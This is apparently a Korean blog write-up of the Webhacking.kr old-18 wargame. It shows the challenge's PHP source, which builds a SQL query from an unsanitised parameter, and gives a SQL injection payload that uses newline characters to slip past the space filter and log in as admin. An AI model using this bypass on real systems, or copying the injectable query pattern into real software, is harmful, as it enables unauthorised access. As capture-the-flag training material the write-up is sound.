반응형
소스를 보자
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
|
cs |
where id='guest' and no=2 or id='admin' 으로 만들어주면 된다.
공백을 필터링하기 때문에 %20대신 %0a로 우회해주면 된다.
?no=2%0aor%0aid%0a=%27admin%27
반응형
'WAR GAME > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr [old-24] 문제 풀이 (0) | 2020.09.19 |
---|---|
Webhacking.kr [old-17] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-06] 문제 풀이 (0) | 2020.09.19 |
Wargame.kr [login with crypto! but..] 풀이 (0) | 2020.01.09 |
Webhacking.kr [old-01] 문제 풀이 (0) | 2019.11.03 |